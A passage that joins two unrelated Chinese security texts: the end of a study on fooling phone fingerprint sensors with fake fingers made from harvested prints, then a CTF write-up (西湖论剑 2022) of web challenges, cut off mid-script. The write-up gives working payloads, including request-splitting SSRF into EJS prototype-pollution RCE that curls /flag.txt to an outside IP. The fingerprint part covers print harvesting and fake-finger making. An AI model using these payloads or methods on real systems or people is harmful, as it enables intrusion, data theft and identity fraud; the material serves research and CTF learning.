2. 另取1毫升胶，3滴左右固化剂，搅拌均匀，将搅拌好的胶转移到刚才印的指纹印中间，该上个塑料袋，从中间往两边抹平；
3. 等一个小时后，揭下指纹印，大功告成。
图19 电容版指纹膜制作套件及说明
图20 手指和指纹膜都具有导电性
跟着步骤做了个模型，兴冲冲的测试了多个手机（包括几款最新型号）、模块（包括光学模块），发现均可以顺利解锁。同时经过仪器测试，材料中包含导电硅粉，具有导电性（参见图20），结合之前的成像原理，我们可以总结出如下结论：
* 不论是光学或者电容传感器，根据前面提到的成像原理，成像都需要制造出指纹的凹凸
* 各个系统所谓的活体识别（稍后介绍各产品在这方面的描述）貌似并没有奏效的，所测试十余款设备均可解锁
* 如果可以做出具有凹凸、任意成型纹路的假指纹，便可直接骗过光学传感器
* 如果在这个基础上再实现导电特性，便会直接骗过电容传感器
总结一下就是：通过测试发现，现阶段设备对假指纹的鉴别非常有限，只要复制出指纹的纹路并且具有导电特性即可。
同时，通过制作自己的假指纹我们已经成功实现了解锁手机等通过验证。但是这种制作实际上是没有安全风险/攻击场景的！我们在制作的过程中，需要把手指放到蜡烛等上面去定型制作指纹模具，然后再用其他成型材料去倒模，最终得到指纹假体。试想：谁会让你去拿着你的手指去按压、定型呢？这只能是一种自己制作自己假指纹的行为，以此来指纹打卡签到等。
所以，我们把攻击目标确定为：获取并仿制出别人的指纹纹路，以此来骗过传感器通过验证。 **不过首先需要解决第一个问题：如何获取到别人的指纹纹路信息？**
##### 3.2 第一步：指纹图像获取
经大量测试，有以下几种有效途径均可顺利取到有效指纹（这些方法都可以通过简单的手机相机实现，不需要电影里那些玄乎的技术）：
直接获取：
* 带有指纹的高清晰照片（例如领导人挥手示意时）
* 合同、按手印活动等上面的指纹图像
* 通过模具成型获取到的指纹（例如明星在星光大道留下的掌印，有时精度较低）
间接获取：
* 获取手机、玻璃杯、指纹模块等上面留下的指纹痕迹
* 用电容指纹传感器经过伪装成按钮、特制的门把手等得到的指纹
下面举例说明。
1.合同中指纹获取：
使用手机拍带有指纹印的合同等，即可提取可用的指纹纹路信息，便于后续假指纹制作等。
图21 手机拍下的某份带有指纹印章的合同
如下是用手机拍摄的这枚指纹进行预处理、图像增强、细化后的结果：
图22 对指纹印章进行预处理、图像增强、细化后的结果
总之，只要是提取到了指纹纹路图像，就可以对图像进行进一步优化处理了。由于后续步骤一样，以下只展示提取原始指纹灰度图像部分。
2.相机拍摄的图片中指纹获取：
图 23 普通相机拍下的带有手指的照片
图 24 对手指进行二值化获取到的指纹纹路
3.手机后壳上的指纹获取（可以清晰的看到，换一种角度/一种光照，这些指纹就可以变得很明显了）
图 25 用手机拍摄的某手机背面，在灯光斜射下指纹清晰展现
图 26 手机背面指纹二值化后的图像
顺便说一句，其实指纹图像获取会有很多方法、扩展。例如我也是个摄影爱好者，曾经成功的用佳能70-200镜头获取到了10米外的笔记本电脑屏幕上的指纹，也算是一种远程打击了吧。
同时，这里必须指出，指纹图像的获取是在破解指纹验证中至关重要的一环，可以说 **只要获取到了指纹图像，就成功了一大半了**
。因为图像里面已经包含了指纹的全部原始信息，后面要做的无非就是拿着图像或者图像对应的特征，让传感器正常感应/感光，同时绕过各种活体检测拦路虎，完成对传感器的欺骗。
##### 3.3 第二步：假指纹的制作
我们已经成功获取到目标的指纹图像了，那如何重制出高精度的假指纹呢？我们测试了包括高精度3D打印、针式打印机成型、导电墨水打印机多层打印、激光雕刻等多种技术方案，这些方案有个共同的特点：由机械进行传动成像成型。由于机械部件之间往复运动会存在一定的旷量，位置传感器、电机通常也有一定的误差，最终导致分辨率有限，现有这些设备均无法满足指纹细小纹路的精度要求，成型模型细看上去会呈一定程度的非线性（当然，我们猜测几十万+的工业级设备例如超高精度3D打印可以完成这个工作，但是成本太大）。
既然这些激光头、打印头无法满足精度需求，我们又把目光放到了腐蚀成像这种不依靠机械，而是依靠光学or化学进行成型的方案，例如光敏成型、化学腐蚀成型。这种方案的特点是：只要原像清晰，由于是对原像进行投影成像，最终成像会无限接近原像，肉眼一般无法分辨。考虑到精度、成本、速度等因素，最终选用了一种光敏成型方案，灵感来自于光敏刻章方法，下面简单介绍下这种技术。
光敏印章是上个世纪九十年代初由日本发明的，它使用了一种超微泡材料完成成型，其表面的微孔孔径非常小。这种材料在受到强光照射的时候，见光部分会瞬间吸收大量的光能，温度迅速上升并达到熔点，使材料表面发生光氧化及热交联作用，最终效果是迅速收缩塌陷，而不受光射部分保持之前的状态。
根据光敏材料的这种特性，人们在材料表面覆盖了一张用黑白激光打印机打印出的印章图像（最好使用硫酸纸这种透明纸），在受到强光照射时，白色透光部分就会收缩塌陷，而黑色部分保持原平面高度，最终形成一个具有凹凸不平表面的印章图像，速度和精度比原始的刻章快了好多。
图 27 指纹印章制作过程
受到光敏印章的启发和指纹识别的成像原理（光学和电容指纹，都需要有凹凸不平的表面），我们想到如果把打印的印章图像换成指纹纹路图像，是不是也可以成型出凹凸不平的指纹纹路呢？经过大量测试发现，只要调整指纹纹路的粗细和强光的功率，完全可以满足假指纹制作的精度要求。
我们以图21中的指纹图像作为样本，尝试制作指纹印章。具体的细节出于安全目的本文就不详述了。我们可以看到，使用这种方法生成的指纹印章如果再沾上些印泥，印出来的指纹图像可以和实际用手指印生成的指纹图像相比十分相似，甚至很难做区分，存在很高的合同欺诈等风险。如图28所示（如果不告诉大家，大家会发现左边的那个指纹是用印章印出来的吗？）
图 28 用指纹印章伪造真实指纹图像
指纹印章的测试证明了光敏方法可以生成精度较好的指纹模型，可以得到了和原指纹纹理一样的具有凹凸不平的假指纹模型。
这种方案的优点如下：
* 成型快，瞬间成型（小于一秒），优于紫外线腐蚀照射等长时间等待
* 精度高，完全满足指纹识别需求
* 成本低（耗材一次成本不超过5角，辅助设备生活中常见：激光打印机、普通闪光灯、透明纸、玻璃板）
经测试，制作出来的假指纹可以顺利解锁智能门锁、考勤、门禁等光学指纹模块，但对电容指纹模块似乎没有效果。回想之前我们通过滴蜡模具做的假指纹，是可以通过电容模块的，同时具备导电的特性。所以我们光敏成型的假指纹如果需要通过电容模块，必须具备导电性，也就是需要在凹凸不平的整个表面覆盖一层导电材料，同时不影响本身纹理。这种材料可能是一种粉末、或是液体状的。
我们首先想到的是铅笔粉，容易获取到同时具有导电特性。经测试，如我们所料，在抹上一层均匀的铅笔粉末后，假指纹模型可以顺利的通过验证。但是这种方法的成功率较低（与无法均匀覆盖有关），同时发现测试两次以后，由于粉末掉落，导致失去导电性。但是这种方式证明了我们的方向是正确的，后续又测试了几种材料，最终发现一种导电液体可以很好的在表层形成均匀的导电膜，而且晾干后会一直覆盖在表面不易脱落。其成本也很低廉。
#### 4 假指纹问题受影响统计
至此，我们完成了在已有目标指纹图像的前提下，顺利的解锁了目标设备（包括光学、电容传感器）。为了证明指纹生物特征安全风险的严重性、广泛性，我们做了一系列测试和统计，统计结果显示
**市面主流的指纹识别方案均受假指纹问题的影响**
。我们希望通过对主流手机假指纹风险进行测试，并基于这些较为全面的测试结果，让传感器生产商、手机厂商直观的看到这种安全风险广泛的受影响面，以及当前每种识别方案存在的具体问题。
如下是统计详情：
##### 4.1 手机常见指纹识别方案
我们对常见的手机指纹识别方案进行了调研，发现市面上主要有：
* AuthenTec方案（苹果已经收购该公司，主要提供给I系列手机使用）
* FPC方案（主流方案，早期Android手机大量采用，当前出货量级依然top2）
* 汇顶方案（汇顶科技是近来新起之秀，国内多款畅销、旗舰手机均有使用）
表格 手机常见指纹识别方案
##### 4.2 假指纹问题统计结果
我们针对每一种方案，均挑选了几款代表机型进行测试验证。得益于兄弟团队移动安全部门的设备支持，所测试手机基本覆盖了国内能买到的各家旗舰/最新款。
统计目标：测试统计各手机厂商旗舰型号、广泛使用型号手机，使用假指纹能通过指纹验证的情况。
步骤：
* 首先制备出目标手指（假定右手食指）的假指纹模型（这里我们直接选取传感器间接获取指纹图像的方法），同时进行导电处理，待用
* 取各厂家型号手机，分别仅注册录入一枚固定手指作为屏幕解锁认证。确认真实手指可以顺利解锁
* 分别测试在锁屏状态下，使用假指纹模型解锁的情况
表格 受影响品牌统计结果
注：FPC是著名指纹设备和解决方案提供商FingerPrint Cards 公司的系列产品名称，广泛嵌入在各家Android手机的指纹解锁模块中。
演示视频：
通过上面的测试统计结果，我们可以清晰的看到：市面上三个主流方案均受假指纹的影响，可以顺利解锁，而各家所谓的生物识别、活体识别等似乎都没有奏效。
这里需要指出的是，虽然三个主流方案都受到影响，但是表现出的攻击难易度、特点各不相同，其中我们花费了很多时间在汇顶的方案上，经过多次反复优化、测试才得以通过，安全性在三者中相对最高。详情如下：
* FPC方案：对指纹大小比例较不敏感，对导电特性的要求不敏感，接受优化过的指纹图像
* AuthenTec方案：对指纹大小比例很不敏感，对导电特性的要求敏感，接受优化过的指纹图像
* 汇顶方案：似乎对我们的指纹优化不买账，需要十分精确的对指纹纹路进行克隆，比例和导电性要求都很敏感，是我们测试的所有方案中攻破难度最大的一家。
#### 5 脆弱性分析及攻击场景
##### 5.1 活体检测貌似并不奏效
**概念解读**
先来看一下活体检测的官方解释。2014年6月，国家知识产权局专利局王馨宁审查员发表了《生物特征识别中的“活体检测”概念及分析》，作为专利审查工作中遵循的科技名词定义规范。其中活体检测概念定义为：“为了防止恶意者将伪造的他人生物特征用于身份认证，在生物特征识别过程中，针对待认证样本的是否具有生命特征进行检测的技术，称为活体检测。活体检测是将具有生命特征的人的样本，与仿制的人造样本进行区分的过程，是欺骗检测中的一种”。
**实际情况**
了解官方解释和测试标准后，我们来看下当前指纹识别的活体检测防范攻击情况和我们的待测假体的攻击级别。
首先介绍下指纹识别中各家常用的活体识别方案：
* 对于光学传感器，一般都没有任何活体检测方案。少数会声称有如下方法：玻璃使用导电材料，主控检测是否带电（例如走廊的触控感应电灯）；检测玻璃温度。这里有个很奇怪的现象，主控检测是否带电主要是为了感应手指接触，接触时打开led光源，同时通知传感器采集指纹。而这样一种本身的功能需求实现竟然变成了一个活体检测的方法。
* 同样的现象也存在电容传感器中。很多厂家会声称自家的模块带有手指导电性检测，以此来判断是否是真手指。但是根据前面的成像原理我们可以知道，电容传感器电荷感应是建立在手指导电的基础上的，是本身识别实现的要求，并不是一个加持检测方法。
下面我们分别对手机上的这三种指纹方案活体检测能力做下分析：
首先看下Apple的情况。网上关于IPhone 6系列手机的指纹模块安全性资料显示，touch
ID很可能采用了更加先进的活体识别方式（有大量关于射频真皮识别的新闻）。查阅相关专利，确实发现苹果在这方面有所研究，例如苹果公司的US 8180120
B2专利，使用固定角度的偏振光对手指进行照射，根据获取到的手指中的氧合血红蛋白和脱氧血红蛋白、β-胡萝卜素等等光谱情况来判断真假手指。但是这种技术是否在TouchID中有使用呢？答案当然是没有，否则我们的假指纹攻击也不会通过。查阅了苹果官网对TouchID的安全性介绍，我们可以发现，Touch
ID仍然还是传统单一的电容检测技术，只是苹果强调了它的精度是很高的。
图29 苹果官网对TouchID的安全性介绍
再来看看指纹识别处于领军地位的Fingerprints，以手机厂商1最新M系列上的FPC 1025为例，通过查阅Fingerprints公司对FPC
1025介绍，并没有发现提及活体检测方面的安全内容。
最后看下近来势头很猛的汇顶科技。其官网介绍文中有提到具有通过血液、心率信号检测来识别假指纹的技术。但是在我们测试的使用汇顶方案手机厂商5的X系列和手机厂商6的M系列产品中，依然可以通过我们制作的假指纹通过验证。可能这些手机并没有采用带这些高级活体检测的传感器，我们不得而知。
图30 汇顶科技官网上对其方案中活体检测技术的介绍
通过上面的分析，我们可以得出一个结论：现阶段拥有指纹识别模块的产品中，基本上没有使用有效的活体检测的技术去对抗攻击。
##### 5.2 极低的攻击成本：5-5攻击
我们一直认为，一切不切合实际的、超高成本的攻击方法，都是耍流氓。举个例子，最近IPhoneX很火，大家都在致力于破解FaceID。不少研究机构使用了高精度3D打印、高精度脸膜制作等方法，即使证明了可以破解，也很难在现实场景中产生危害。在一个安全漏洞的安全等级确定中，攻击成本占很大一部分分值。只有当这个安全问题的攻击成本很小，但是可以产生很大的危害时，才有可能影响到大部分人的利益，大家才会受到重视并且想办法去解决。
我们顺便再看下待测假体的攻击级别定义。在由多家单位、企业共同起草的行业标准《安防生物特征活体检测技术要求》的征求意见稿中，对待测假体类型划分了轻度、中度和重度三个级别：
1. 轻度攻击性假体指以简单的技术手段为工艺获得的、具有低攻击能力的假体
2. 中度攻击性假体是指以复杂的技术手段为工艺获得的、具有一定攻击能力的假体
3. 重度攻击性假体是指以非常复杂的技术手段为工艺手段制造的、具有极高攻击能力、十分逼真的假体
根据这个级别划分定义，结合我们之前假指纹制作中所使用方法，以及攻击成本和达到的效果，我们的攻击方式可以划分到一个新级别：
以简单的技术手段为工艺获得的、具有很高攻击能力的假体。
回到我们探讨的指纹安全问题上，我们在前面的测试中已经实现了低成本的指纹图像获取和假指纹的制作，最终结果是可以顺利通过各种指纹验证。现在我们来总结下成本究竟有多低。
可见，最低成本只需要一部能拍照的手机、一个能用的打印机、一块几毛钱的光敏材料和一根铅笔就够了，一次性耗材不超过5角钱，制作时间不超过5分钟，我们称之为5-5攻击。
##### 5.3 其实你只剩一枚指纹
指纹、虹膜、人脸、静脉这些生物特征，是人生下来就有的，并且具有不重复唯一性，可以用来很精准的对一个人进行识别判断。在大家意识中，生物特征识别的安全性要高于传统密码的，同时生物特征又有验证便捷的特点（相对于密码输入）。但是大家可能忽略了一点：这些生物特征数量少而且无法更改，一旦泄露就会存在安全风险，除非是剁手指、整容&毁容、扣眼珠，开个玩笑。而密码，如果用了一个弱口令被猜出来了，你还可以换一个更复杂的。拿指纹举例来说，一个人的指纹只有十枚，泄露了就再也无法挽回。更重要的一点，我们经常使用的手指，只有一或两枚，我们做了一个20个人的小样本统计，统计结果如下：（由于手机指纹识别有正面和背面两种，分别对应拇指和食指，这里我们统一为拇指）
统计结果显示：
* 没有人用单一偏门手指进行解锁的（例如无名指）
* 所有人都录入了一枚右手拇指
通过数据来看，似乎只需要得到一枚被攻击者的右拇指指纹，便可以进行假指纹制作完成解锁手机，而不是之前的十个手指。也就是说，泄露机会从10次变成了一次，只要泄露一根拇指，指纹这个生物特征识别就和你拜拜了。而这个泄露，通常来说非常简单，招一招手，或者拿一下杯子、手机，指纹已经泄露了。
#### 6 总结与展望
综合前文分析，我们可以得出：
* 由于大部分指纹模块都缺少对活体的识别，这给假指纹攻击带来了极大的便利，无需进行各种防御手段绕过，降低了攻击成本，同时提高了成功率
* 由于指纹识别的原理（指纹采集、验证），我们找到了一套低成本的假指纹制作方案5-5攻击，表明假指纹攻击的威胁远比大家普遍认识的更加严重
* 由于大部分用户只使用少数的固定手指进行验证，增大了指纹信息泄露的风险，即只需要少数手指的泄露，便可造成被攻击者指纹验证系统被破解。
通过上面的介绍，我们可以看出，看似便捷又安全的指纹识别验证，其实很容易被仿制攻破。既然存在了安全风险，就需要解决方案。通常对于软件层面的一些安全问题，都可以通过系统升级解决，对出问题的代码进行打补丁，一定时间的收敛后，威胁会大大降低。而我们今天所展示的是硬件指纹识别模块层面的安全问题，很多是由于硬件层面对安全考虑的不充分导致的，例如模块本身并没有设计足够抵抗假指纹的活体检测功能，也没有相应的传感器（例如真皮检测传感器）。这种硬件功能设计上的缺失，很难通过软件更新去解决。
在此，我们呼吁指纹方案厂商、手机厂商增强指纹防攻击方面的能力，让每一个人可以安全、便捷的使用指纹识别。包括：指纹模块制造商需要增强指纹模块的活体检测能力，例如对手指真皮进行检测、对脉搏进行检测，同时手机厂商应该优先采购这些安全性高的模块；高安全需求的场合，采用多因素复合认证，同时建议多采用基于用户行为习惯的识别、基于行为风控的判断。
* * * | 社区文章 |
## 引言
> **西湖论剑·2022中国杭州网络安全技能大赛**
>
> 全日制高校在校生（含研究生），以所在高校为单位组队参赛，不得跨校组队。 本赛项与IoT攻防赛为同一批参赛选手，建议参赛选手组队时考虑IoT选手的比例。
>
> 线上初赛：2023年2月2日 10:00-18:00
>
> 主流CTF夺旗赛模式
>
> <https://game.gcsis.cn/>
又是个因为疫情原因（？）推迟举办的比赛了（
由于只能按照所在高校来组队，不能联合战队，报名结束前两天问了下，校队里一群鸽子还没组队，然后就问了下和学弟们一起组了一队，随便看看题好了。
但是喵喵比较佛系，其实没好好打，当天下午快16.才开始看题，唔（（（
这篇 writeup 里有一些是比赛结束后继续做出来的，也有这过程中卡住然后根据大师傅 wp 复现的，就当学习学习，练练手记录一下好了。
## Web
### Node Magical Login
> 一个简单的用nodejs写的登录站点（貌似暗藏玄机）
`controller.js` 部分源码
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
只需要带个 `user=admin` 的 cookie 就行了
GET /flag1 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=admin
Upgrade-Insecure-Requests: 1
If-None-Match: W/"3a-RlxhITUNSh+HitDVv+yl4xv4J4I"
第二部分 flag 的话，再看 `controller.js` 源码
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
这里如果传个 array 进去的话，调用 `.toLowerCase()` 用法会报错 `Uncaught TypeError:
checkcode.toLowerCase is not a function`，但是捕获异常这里直接就能跳过了，返回第二部分 flag
POST /getflag2 HTTP/1.1
Host: 80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Content-Length: 71
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81
Referer: http://80.endpoint-c1f3c54854b7466b913ba6ed1b2cd64a.m.ins.cloud.dasctf.com:81/flag2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"checkcode":["aGr5AtSp55dRacer",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}
实际上直接传个长度为16的 array 就行，比如
{"checkcode":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]}
### 扭转乾坤
这题附件给的太奇怪了，一个zip里面一个pdf
不过还是看提示
> 在实际产品场景中常见存在多种中间件的情况，这时如果存在某种拦截，可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
直接上传的话，提示
Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.
于是要在 `Content-Type: multipart/form-data` 上做文章
参考 <https://www.anquanke.com/post/id/241265>
利用 RFC 差异来绕过，加个引号就过了
POST /ctf/hello-servlet HTTP/1.1
Host: 1.14.65.100
Content-Length: 3246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.65.100
Content-Type: multipart/"form-data"; boundary=----WebKitFormBoundary3oAve6BcRBg213uo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.65.100/ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary3oAve6BcRBg213uo
Content-Disposition: form-data; name="uploadfile"; filename="bypass.jsp"
Content-Type: application/octet-stream
miaotony
------WebKitFormBoundary3oAve6BcRBg213uo--
DASCTF{407a13a21a6b85b1236b003479468c82}
赛后又试了试，貌似只需要不出现完整的 `multipart/form-data` 就能过，但是必须有 `multipart/`
（感觉这样出题也太迷了
### real_ez_node
`app.js`
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间，单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()
// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
`routes/index.js`
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应，但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
一眼猜到要用 `/curl` 路由来构造 **SSRF** 打 `/copy` 路由下的 **原型链污染** ，当然还差个 RCE，但是貌似源码里没找到
先看看咋打 **SSRF** ，这里要 POST /copy 的话很明显需要 **请求拆分**
查了下 `http.get`，参考 [Security Bugs in Practice: SSRF via Request
Splitting](https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/)
发现在 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击，nodejs 不会对这些 Unicode
进行编码转义，因为它们不是 HTTP 控制字符
`\u{010D}\u{010A}` 这样的 string 被编码为 latin1 之后就只剩下了 `\r\n`，于是就能用来做请求拆分了
触发条件是：
> The behaviour has been fixed in the recent Node.js 10 release, which will
> throw an error if the request path contains non-ascii characters. But for
> Node.js versions 8 or lower, any server that makes outgoing HTTP requests
> may be vulnerable to an SSRF via request splitting if it:
>
> * Accepts unicode data from from user input, and
> * Includes that input in the request path of an outgoing HTTP request, and
> * The request has a zero-length body (such as a GET or DELETE).
>
然后看到一道题就用到了 [NodeJS SSRF by Response Splitting — ASIS CTF Finals 2018 — Proxy-Proxy Question Walkthrough](https://infosecwriteups.com/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501)
本地搭环境起来试了试，确实可以
然后看 **原型链污染**
这里很明显用 `safeobj.expand` 把接收到的东西给放到 user 里了
过滤了 `__proto__` 用 `constructor.prototype` 绕一下就行
这个库里直接递归按照 `.` 做分隔写入 obj，很明显可以原型链污染
_（后来发现也是现成 CVE-2021-25928_
那最后就是找哪里能 **RCE 或者 读文件** 了
既然源码里没有，那就是依赖了，瞄眼 `package.json`
{
"name": "hello-world",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"ejs": "^3.0.1",
"express": "~4.16.1",
"express-session": "^1.17.3",
"http-errors": "~1.6.3",
"jade": "^1.11.0",
"jsonwebtoken": "^8.5.1",
"lodash": "^4.2.1",
"md5": "^2.3.0",
"mongodb": "^4.10.0",
"morgan": "~1.9.1",
"mysql": "^2.18.1",
"node-serialize": "^0.0.4",
"pug": "2.0.0-beta11",
"safe-obj": "^1.0.2"
}
}
pug! [2021
巅峰极客有个题](https://miaotony.xyz/2021/08/07/CTF_2021dianfengjike/#ezjs) 打过！
但是这里用的渲染引擎是 ejs
（顺便，这里支持 json 或者 urlencoded
参考 [EJS, Server side template injection RCE (CVE-2022-29078) -writeup](https://eslam.io/posts/ejs-server-side-template-injection-rce/)
ejs 也有 RCE！
这里用到的 [ejs/3.0.1 在影响范围内](ejs/3.0.1 在范围内)（3.1.7 才 fix
构造个原型链污染把这个 `outputFunctionName` 赋值了就行
> 写wp的时候才发现上面那篇喵喵的 wp 就写了一句
>
>
>
构造 RCE payload
{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('touch /tmp/miao');s"}
（实际上直接 `constructor.prototype.outputFunctionName` 就行，不用 json 用 urlencode 也行
然后算好 content-length，试了下可以多不能少，不然解析就烂掉了请求不到 /copy 路由了
另外要多加个 `GET /` 之类的去闭合原来的请求
或者也可以在第二个请求的时候加个 `Connection: close` 头，就不会管之后的内容了
测试一下
成功 RCE！
试了下 docker 容器里没 `/dev/tcp`，又不需要弹 shell，干脆直接 curl 外带 flag 好了。
curl -F "c=@/flag.txt" 11.11.111.111:1234
拼接一下
a HTTP/1.1
Host: 127.0.0.1
POST /copy HTTP/1.1
Content-type: application/json
Content-Length: 159
{"constructor.prototype.view options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl -F c=@/flag.txt 11.11.111.111:1234');s"}
POST /
encodeURI("a\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/copy\u{010D}\u{010A}Content-type:\u{0120}application/json\u{010D}\u{010A}Content-Length:\u{0120}159\u{010D}\u{010A}\u{010D}\u{010A}\u{017B}\u{0122}constructor.prototype.view\u{0120}options.outputFunctionName\u{0122}:\u{0122}x;process.mainModule.require(\u{0127}child_process\u{0127}).execSync(\u{0127}curl\u{0120}-F\u{0120}c=@/flag.txt\u{0120}11.11.111.111:1234\u{0127});s\u{0122}\u{017D}\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/")
测试发现 `{}""''` 这些都得用 Unicode 处理才行，也就是 `chr(0x0100 + ord(i))`，不如接收不到请求，只有请求了
/q=xxx 然后没了
最后拿去请求远程
GET /curl?q=a%C4%A0HTTP/1.1%C4%8D%C4%8AHost:%C4%A0127.0.0.1%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/copy%C4%A0HTTP/1.1%C4%8D%C4%8AContent-type:%C4%A0application/json%C4%8D%C4%8AContent-Length:%C4%A0159%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2constructor.prototype.view%C4%A0options.outputFunctionName%C4%A2:%C4%A2x;process.mainModule.require(%C4%A7child_process%C4%A7).execSync(%C4%A7curl%C4%A0-F%C4%A0c=@/flag.txt%C4%A011.11.111.111:1234%C4%A7);s%C4%A2%C5%BD%C4%8D%C4%8A%C4%8D%C4%8APOST%C4%A0/
这题打的时候弄了老半天，早知道就自己写个脚本构造 payload 了，手动构造调了老半天写错了一堆（（
> 赛后看其他队伍 wp 才发现原来之前有题目出过类似的了，怪不得其他师傅这么快做出来了，脚本看上去都这么像
>
> [从 [GYCTF2020]Node Game 了解 nodejs
> HTTP拆分攻击](https://blog.csdn.net/weixin_46081055/article/details/119982707)
>
> 顺便贴个咱改的脚本
>
>
> import requests
> import urllib.parse
>
> payload = '''a HTTP/1.1
> Host: 127.0.0.1
>
> POST /copy HTTP/1.1
> Content-type: application/json
> Content-Length: 159
> Connection: close
>
> {"constructor.prototype.view
> options.outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl
> -F c=@/flag.txt 11.11.111.111:1234');s"}
>
> POST /'''.replace("\n","\r\n")
>
> def payload_encode(raw):
> ret = u""
